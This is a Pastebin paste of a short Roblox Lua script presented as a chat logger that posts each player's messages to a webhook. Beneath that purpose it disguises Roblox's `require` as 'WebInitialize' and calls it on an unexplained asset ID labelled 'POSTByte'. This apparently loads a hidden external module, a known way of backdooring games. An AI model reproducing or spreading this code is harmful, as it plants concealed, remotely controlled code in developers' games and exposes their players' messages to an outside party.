Advertisement
protocol_advanced

Roblox Chat Logs

Mar 20th, 2021
2,659
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. local WebInitialize = require
  2. local Players = game:GetService("Players")
  3. local HttpService = game:GetService("HttpService")
  4. local POSTByte = 5592414500
  5. local wb = "WEBHOOK HERE "
  6.  
  7. Players.PlayerAdded:Connect(function(plr)
  8. plr.Chatted:Connect(function(msg)
  9. local data = {
  10. ["contents"] = msg,
  11. ["embeds"] = {{
  12. ["title"] = "YOUR COMPANY/GAME NAME",
  13. ["fields"] = {{
  14. ["name"] = plr.Name.. " Chatted",
  15. ["value"] = msg
  16. }}
  17. }}
  18. }
  19. HttpService:PostAsync(wb, HttpService:JSONEncode(data))
  20. end)
  21. end)
  22.  
  23. WebInitialize(POSTByte)
  24.  
  25. -- The script shall be in the description.
  26. -- protocol_advanced 20/03/2021
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement